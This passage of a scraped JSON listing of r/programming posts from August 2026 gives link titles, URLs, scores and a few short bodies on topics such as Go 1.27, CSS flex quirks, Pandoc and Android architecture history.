  "title": "Next.js Dynamic Routes now also available in Faces!",
  "body": null,
  "author": "henk53",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.31,
  "numComments": 1,
  "createdAt": "2026-08-22T15:17:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://balusc.omnifaces.org/2026/08/nextjs-dynamic-routes-now-also.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vv78fc",
  "url": "https://youtu.be/48Rig6v-xYU?is=gA6PbvvpM-yaB-Vz",
  "permalink": "https://www.reddit.com/r/programming/comments/1vv78fc/the_pit_of_success/",
  "title": "The Pit Of Success",
  "body": null,
  "author": "Maybe-monad",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.59,
  "numComments": 6,
  "createdAt": "2026-08-22T08:57:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/48Rig6v-xYU?is=gA6PbvvpM-yaB-Vz",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vv3lus",
  "url": "https://arxiv.org/abs/2608.18160",
  "permalink": "https://www.reddit.com/r/programming/comments/1vv3lus/micropython_and_circuitpython_pythons_quiet/",
  "title": "MicroPython and CircuitPython: Pythons Quiet Takeover of IoT and Robotics",
  "body": null,
  "author": "Calm_Habit137",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 1,
  "numComments": 2,
  "createdAt": "2026-08-22T05:28:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://arxiv.org/abs/2608.18160",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vuk4b5",
  "url": "https://medium.com/@jizoskasa/i-reverse-engineered-plants-vs-zombies-to-answer-one-very-specific-question-557637a68a3e",
  "permalink": "https://www.reddit.com/r/programming/comments/1vuk4b5/finding_a_hidden_mersenne_twister_implementation/",
  "title": "Finding a hidden Mersenne Twister implementation inside a 15 year old game binary",
  "body": null,
  "author": "JizosKasa",
  "subreddit": "programming",
  "score": 403,
  "upvoteRatio": 0.94,
  "numComments": 58,
  "createdAt": "2026-08-21T15:49:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@jizoskasa/i-reverse-engineered-plants-vs-zombies-to-answer-one-very-specific-question-557637a68a3e",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vuec8q",
  "url": "https://cekrem.github.io/posts/bun-and-elm-are-friends/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vuec8q/bun_and_elm_rare_friends_cekremgithubio/",
  "title": "Bun and Elm (: r)Are Friends · cekrem.github.io",
  "body": null,
  "author": "cekrem",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.23,
  "numComments": 0,
  "createdAt": "2026-08-21T11:59:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cekrem.github.io/posts/bun-and-elm-are-friends/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vuaimm",
  "url": "https://returnzero.dev/articles/android-mobile-system-design-history",
  "permalink": "https://www.reddit.com/r/programming/comments/1vuaimm/the_great_android_stack_reset_mobile_system/",
  "title": "The Great Android Stack Reset: Mobile System Design History",
  "body": "Android, the last to arrive at the declarative UI party, took its time, until finally reaching a stable solution. Here's a rundown of the major changes in the Android System Design across the eras.\n\nI was away from Android for 7 years and came home to a totally strange place. This is my attempt to make sense of what happened while I was gone - how the stack reset four times (Activities -> MVP/RxJava -> Architecture Components -> Compose) and why each lurch happened. Written for interview prep but the history stands on its own.",
  "author": "Super-Performance-86",
  "subreddit": "programming",
  "score": 26,
  "upvoteRatio": 0.78,
  "numComments": 14,
  "createdAt": "2026-08-21T08:36:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://returnzero.dev/articles/android-mobile-system-design-history",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vu7o3x",
  "url": "https://stefan-marr.de/2026/08/pitfalls-of-benchmarking-on-modern-systems/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vu7o3x/pitfalls_of_benchmarking_on_modern_systems/",
  "title": "Pitfalls of Benchmarking on Modern Systems",
  "body": null,
  "author": "mttd",
  "subreddit": "programming",
  "score": 64,
  "upvoteRatio": 0.9,
  "numComments": 11,
  "createdAt": "2026-08-21T05:50:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://stefan-marr.de/2026/08/pitfalls-of-benchmarking-on-modern-systems/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vttlns",
  "url": "https://github.blog/news-insights/company-news/the-august-17-outage-and-the-work-ahead/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vttlns/the_august_17_outage_and_the_work_ahead/",
  "title": "The August 17 outage, and the work ahead",
  "body": null,
  "author": "Successful_Bowl2564",
  "subreddit": "programming",
  "score": 481,
  "upvoteRatio": 0.96,
  "numComments": 94,
  "createdAt": "2026-08-20T19:35:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.blog/news-insights/company-news/the-august-17-outage-and-the-work-ahead/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vtq4qt",
  "url": "https://encore.dev/blog/firecracker-apple-silicon",
  "permalink": "https://www.reddit.com/r/programming/comments/1vtq4qt/rebuilding_the_linux_microvm_stack_on_apple/",
  "title": "Rebuilding the Linux microVM stack on Apple Silicon",
  "body": null,
  "author": "Shot-Reporter-2443",
  "subreddit": "programming",
  "score": 31,
  "upvoteRatio": 0.88,
  "numComments": 3,
  "createdAt": "2026-08-20T17:34:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://encore.dev/blog/firecracker-apple-silicon",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vtpng5",
  "url": "https://haveibeensquatted.com/blog/building-certgrep",
  "permalink": "https://www.reddit.com/r/programming/comments/1vtpng5/building_certgrepsh_a_free_ct_search_engine/",
  "title": "Building certgrep.sh: a free CT search engine",
  "body": null,
  "author": "JDBHub",
  "subreddit": "programming",
  "score": 12,
  "upvoteRatio": 0.66,
  "numComments": 7,
  "createdAt": "2026-08-20T17:16:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://haveibeensquatted.com/blog/building-certgrep",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vtnxjd",
  "url": "https://www.gingerbill.org/article/2026/08/20/designing-odins-inline-asm/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vtnxjd/everyone_says_assembly_is_untypedeveryone_is_wrong/",
  "title": "Everyone Says Assembly Is Untyped—Everyone Is Wrong",
  "body": null,
  "author": "gingerbill",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.46,
  "numComments": 64,
  "createdAt": "2026-08-20T16:14:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.gingerbill.org/article/2026/08/20/designing-odins-inline-asm/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vtn0qa",
  "url": "https://github.com/microsoft/TypeScript/pull/63763",
  "permalink": "https://www.reddit.com/r/programming/comments/1vtn0qa/typescript_migrate_repo_to_typescript_7/",
  "title": "TypeScript : Migrate repo to TypeScript 7",
  "body": null,
  "author": "mariuz",
  "subreddit": "programming",
  "score": 93,
  "upvoteRatio": 0.94,
  "numComments": 27,
  "createdAt": "2026-08-20T15:41:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/microsoft/TypeScript/pull/63763",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vtmrxk",
  "url": "https://dominik.info/blog/go-generic-methods/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vtmrxk/generic_methods_in_go_127/",
  "title": "Generic Methods in Go 1.27",
  "body": null,
  "author": "ErneuerbareEnergien",
  "subreddit": "programming",
  "score": 16,
  "upvoteRatio": 0.78,
  "numComments": 5,
  "createdAt": "2026-08-20T15:32:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://dominik.info/blog/go-generic-methods/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vtmejf",
  "url": "https://cursor.com/blog/git-at-any-scale",
  "permalink": "https://www.reddit.com/r/programming/comments/1vtmejf/git_at_any_scale/",
  "title": "Git at any scale",
  "body": null,
  "author": "FlukeHawkins",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.31,
  "numComments": 1,
  "createdAt": "2026-08-20T15:19:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cursor.com/blog/git-at-any-scale",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vtm44m",
  "url": "https://runjs.app/blog/music-theory-for-programmers",
  "permalink": "https://www.reddit.com/r/programming/comments/1vtm44m/music_theory_for_programmers/",
  "title": "Music theory for programmers",
  "body": null,
  "author": "lukehaas",
  "subreddit": "programming",
  "score": 501,
  "upvoteRatio": 0.98,
  "numComments": 38,
  "createdAt": "2026-08-20T15:08:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://runjs.app/blog/music-theory-for-programmers",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vtm22r",
  "url": "https://blog.rust-lang.org/2026/08/20/supply-chain-attack-on-arrayref/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vtm22r/supply_chain_attack_on_arrayref/",
  "title": "Supply chain attack on arrayref",
  "body": null,
  "author": "Successful_Bowl2564",
  "subreddit": "programming",
  "score": 186,
  "upvoteRatio": 0.97,
  "numComments": 65,
  "createdAt": "2026-08-20T15:05:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.rust-lang.org/2026/08/20/supply-chain-attack-on-arrayref/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vtijql",
  "url": "https://youtu.be/u7k1l_qkQH8?list=PLEx5khR4g7PJbSLmADahf0LOpTLifiCra",
  "permalink": "https://www.reddit.com/r/programming/comments/1vtijql/modern_computer_architecture_organization_jim/",
  "title": "Modern Computer Architecture & Organization • Jim Ledin & Maciej «MJ» Jedrzejewski • GOTO 2026",
  "body": null,
  "author": "goto-con",
  "subreddit": "programming",
  "score": 10,
  "upvoteRatio": 0.76,
  "numComments": 0,
  "createdAt": "2026-08-20T12:47:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/u7k1l_qkQH8?list=PLEx5khR4g7PJbSLmADahf0LOpTLifiCra",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vtih22",
  "url": "https://fabiensanglard.net/quake_shareware_cd/index.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1vtih22/quake_shareware_a_cdrom_just_a_little_too_full/",
  "title": "Quake Shareware, a CD-ROM just a little too full - Fabien Sanglard",
  "body": null,
  "author": "NXGZ",
  "subreddit": "programming",
  "score": 247,
  "upvoteRatio": 0.96,
  "numComments": 37,
  "createdAt": "2026-08-20T12:44:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fabiensanglard.net/quake_shareware_cd/index.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vtfxb4",
  "url": "https://www.sciencedirect.com/science/article/pii/S2666281726000028",
  "permalink": "https://www.reddit.com/r/programming/comments/1vtfxb4/lemon_a_universal_ebpfbased_volatile_memory/",
  "title": "LEMON: A universal eBPF-based volatile memory acquisition tool for modern android devices and hardened linux systems",
  "body": null,
  "author": "throwaway16830261",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.55,
  "numComments": 0,
  "createdAt": "2026-08-20T10:42:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.sciencedirect.com/science/article/pii/S2666281726000028",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vtfeqw",
  "url": "https://link.springer.com/article/10.1007/s10515-025-00589-3",
  "permalink": "https://www.reddit.com/r/programming/comments/1vtfeqw/a_study_of_privacyrelated_data_collected_by/",
  "title": "A study of privacy-related data collected by Android apps",
  "body": null,
  "author": "throwaway16830261",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.7,
  "numComments": 1,
  "createdAt": "2026-08-20T10:14:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://link.springer.com/article/10.1007/s10515-025-00589-3",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vtbrzy",
  "url": "https://nodreview.com/blog/wkwebview-flex-collapse/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vtbrzy/flex_1_and_flex_1_1_auto_are_not_interchangeable/",
  "title": "flex: 1 and flex: 1 1 auto are not interchangeable when the parent has no definite height",
  "body": "Short version, so you do not have to click:\n\nflex: 1 expands to flex: 1 1 0%. That 0% is a percentage basis and resolves against the parent's height. A panel that is height: auto under a max-height cap has no definite height, so the percentage has nothing to resolve against and the child contributes zero. flex: 1 1 auto fixes it, because the basis becomes the content's own height.\n\nThe reason it took me an evening: Chromium quietly does what you meant, and the engine that broke it was WKWebView. Every test was green because Playwright ships its own WebKit build rather than the system one.\n\nI have not worked out whether the spec requires that collapse or merely permits it, so I cannot say which engine is wrong. If you know which reading applies to a max-height-capped auto-height parent, I would like to hear it.",
  "author": "HolidayChard9706",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 1,
  "createdAt": "2026-08-20T06:42:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://nodreview.com/blog/wkwebview-flex-collapse/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vtaprg",
  "url": "https://arxiv.org/abs/2607.28892",
  "permalink": "https://www.reddit.com/r/programming/comments/1vtaprg/succinct_and_fast_tiny_pointer_hash_tables/",
  "title": "Succinct and Fast Tiny Pointer Hash Tables",
  "body": null,
  "author": "mttd",
  "subreddit": "programming",
  "score": 84,
  "upvoteRatio": 0.95,
  "numComments": 3,
  "createdAt": "2026-08-20T05:42:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://arxiv.org/abs/2607.28892",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vt2lzu",
  "url": "https://www.computerenhance.com/p/turns-are-better-than-radians",
  "permalink": "https://www.reddit.com/r/programming/comments/1vt2lzu/turns_are_better_than_radians/",
  "title": "Turns are Better than Radians",
  "body": null,
  "author": "Iamsodarncool",
  "subreddit": "programming",
  "score": 611,
  "upvoteRatio": 0.94,
  "numComments": 173,
  "createdAt": "2026-08-19T23:22:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.computerenhance.com/p/turns-are-better-than-radians",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vt19vc",
  "url": "https://www.youtube.com/watch?v=y4cb39pBp0I",
  "permalink": "https://www.reddit.com/r/programming/comments/1vt19vc/the_design_and_evolution_of_io_uring_by_jens_axboe/",
  "title": "The Design and Evolution of io_uring by Jens Axboe",
  "body": null,
  "author": "cdb_11",
  "subreddit": "programming",
  "score": 27,
  "upvoteRatio": 0.78,
  "numComments": 5,
  "createdAt": "2026-08-19T22:27:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=y4cb39pBp0I",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vt10nv",
  "url": "https://go.dev/blog/go1.27",
  "permalink": "https://www.reddit.com/r/programming/comments/1vt10nv/go_127_is_released/",
  "title": "Go 1.27 is released",
  "body": null,
  "author": "NegotiationInner7307",
  "subreddit": "programming",
  "score": 19,
  "upvoteRatio": 0.95,
  "numComments": 1,
  "createdAt": "2026-08-19T22:17:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://go.dev/blog/go1.27",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vsuy5o",
  "url": "https://www.youtube.com/watch?v=48Rig6v-xYU",
  "permalink": "https://www.reddit.com/r/programming/comments/1vsuy5o/the_pit_of_success_an_interview_with_rico_mariani/",
  "title": "The Pit of Success - An Interview with Rico Mariani",
  "body": null,
  "author": "cdb_11",
  "subreddit": "programming",
  "score": 21,
  "upvoteRatio": 0.77,
  "numComments": 0,
  "createdAt": "2026-08-19T18:33:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=48Rig6v-xYU",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vskw18",
  "url": "https://youtu.be/UMaZ-O2KRCw?list=PLEx5khR4g7PINwOsYrkwz3lTTJUYoXC53",
  "permalink": "https://www.reddit.com/r/programming/comments/1vskw18/modern_enterprise_architecture_architecting_for/",
  "title": "Modern Enterprise Architecture: Architecting for Outcomes • Simon Rohrer",
  "body": null,
  "author": "goto-con",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.56,
  "numComments": 1,
  "createdAt": "2026-08-19T12:21:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/UMaZ-O2KRCw?list=PLEx5khR4g7PINwOsYrkwz3lTTJUYoXC53",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vskauh",
  "url": "https://acko.net/blog/curvature-beziers/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vskauh/curvature_beziers_improving_on_a_timeless_recipe/",
  "title": "Curvature Beziers - Improving on a timeless recipe",
  "body": null,
  "author": "UnConeD",
  "subreddit": "programming",
  "score": 120,
  "upvoteRatio": 0.93,
  "numComments": 11,
  "createdAt": "2026-08-19T11:55:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://acko.net/blog/curvature-beziers/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vs61br",
  "url": "https://www.dereuromark.de/2026/08/19/pandoc-what-survives-a-conversion/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vs61br/pandoc_what_survives_markup_conversion/",
  "title": "Pandoc: What survives markup conversion?",
  "body": "With the new release of 3.10.2 I wanted to look a bit more closely into Pandoc and all those different markup languages out there - and what converts with how much \"loss\".\n\nMaybe you also had to recently convert Markdown to HTML, or the other way around. In my case even different textual files into PDFs.\n\nOne key finding:   \nModern languages that work with an AST are definitely competitive here.\n\nMaybe you find it also interesting. I actually didn't know most of those languages.\n\nFun fact:  \nThe author of Pandoc is also one of the original Markdown standardization authors 15 years ago (well, if you can call it that, since it evolved still into quite the chaos) - as well as Djot, which is now only a few years old and supposed to be a markdown successor of sorts.\n\nI am mainly interested in shaping \"the\" markup language of the future, that is a good compromise of readability and writeability for humans, but also consumable for machines, contains all the important elements to express relevant documents from offline to online.  \nAs a programmer I am also a big fan (and in need) of dogfooding, of course :)",
  "author": "dereuromark",
  "subreddit": "programming",
  "score": 43,
  "upvoteRatio": 0.79,
  "numComments": 0,
  "createdAt": "2026-08-18T23:48:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.dereuromark.de/2026/08/19/pandoc-what-survives-a-conversion/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vs06if",
  "url": "https://nanochess.org/am29000_c_compiler_web_browser.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1vs06if/i_unearthed_my_am29000_c_compiler_and_web_browser/",
  "title": "I unearthed my Am29000 C compiler and web browser from 1999. It still can surf through the emulator",
  "body": null,
  "author": "nanochess",
  "subreddit": "programming",
  "score": 109,
  "upvoteRatio": 0.92,
  "numComments": 2,
  "createdAt": "2026-08-18T19:58:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://nanochess.org/am29000_c_compiler_web_browser.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vrzjdf",
  "url": "https://odin-lang.org/docs/inline-asm/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vrzjdf/odins_new_inline_assembly_templates/",
  "title": "Odin's New Inline Assembly Templates",
  "body": null,
  "author": "gingerbill",
  "subreddit": "programming",
  "score": 59,
  "upvoteRatio": 0.83,
  "numComments": 3,
  "createdAt": "2026-08-18T19:35:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://odin-lang.org/docs/inline-asm/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vruda3",
  "url": "https://www.modular.com/blog/mojo-open-source",
  "permalink": "https://www.reddit.com/r/programming/comments/1vruda3/modular_mojo_is_now_open_source/",
  "title": "Modular: Mojo🔥 is now open source!",
  "body": null,
  "author": "eatonphil",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 44,
  "createdAt": "2026-08-18T16:35:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.modular.com/blog/mojo-open-source",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vrtje0",
  "url": "https://judi.systems/shirei/blog/immediate-mode-retained-state/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vrtje0/how_an_immediate_mode_ui_shirei_retains_component/",
  "title": "How an immediate mode UI (Shirei) retains component identity and state",
  "body": null,
  "author": "hasen-judi",
  "subreddit": "programming",
  "score": 11,
  "upvoteRatio": 0.68,
  "numComments": 6,
  "createdAt": "2026-08-18T16:08:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://judi.systems/shirei/blog/immediate-mode-retained-state/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vrk1b8",
  "url": "https://acadia.engineering/blog/rethinking-database-programming",
  "permalink": "https://www.reddit.com/r/programming/comments/1vrk1b8/what_if_sql_was_like_elm/",
  "title": "\"What if SQL was like Elm?\"",
  "body": null,
  "author": "wheatBread",
  "subreddit": "programming",
  "score": 146,
  "upvoteRatio": 0.85,
  "numComments": 40,
  "createdAt": "2026-08-18T09:15:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://acadia.engineering/blog/rethinking-database-programming",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vrgbaa",
  "url": "https://deadworks.net/blog/we-ship-our-ui-through-a-subtitle-system",
  "permalink": "https://www.reddit.com/r/programming/comments/1vrgbaa/we_ship_our_ui_through_a_subtitle_system/",
  "title": "We Ship Our UI Through a Subtitle System",
  "body": null,
  "author": "No_Value_6697",
  "subreddit": "programming",
  "score": 105,
  "upvoteRatio": 0.91,
  "numComments": 3,
  "createdAt": "2026-08-18T05:40:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://deadworks.net/blog/we-ship-our-ui-through-a-subtitle-system",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vrb433",
  "url": "https://www.youtube.com/watch?v=LZO9Zs9w-tI",
  "permalink": "https://www.reddit.com/r/programming/comments/1vrb433/what_if_you_could_add_your_own_features_to_a/",
  "title": "What if YOU Could Add Your Own Features to a Language?",
  "body": "I made a video explaining a concept I love called macros, which allow you to add your own syntax to a language. Languages like Rust, Lean, and lisp have them. The goal with the video is to make you feel like you could've discovered macros yourself.\n\nI'm new at making educational content like this, but I'm planning on making many more programming language videos like this one on my channel. Any thoughts, constructive criticism, or advice is more than welcome! Hope you all enjoy",
  "author": "quasar_tree",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.27,
  "numComments": 16,
  "createdAt": "2026-08-18T01:25:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=LZO9Zs9w-tI",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vqyt0y",
  "url": "https://youtu.be/WpDVrUdbT2o?is=vfHORwQTTyQo9y-r",
  "permalink": "https://www.reddit.com/r/programming/comments/1vqyt0y/can_haskell_become_a_great_language_for_data/",
  "title": "Can Haskell Become a Great Language for Data Science?",
  "body": null,
  "author": "IcyAnywhere9603",
  "subreddit": "programming",
  "score": 25,
  "upvoteRatio": 0.59,
  "numComments": 65,
  "createdAt": "2026-08-17T17:29:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/WpDVrUdbT2o?is=vfHORwQTTyQo9y-r",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
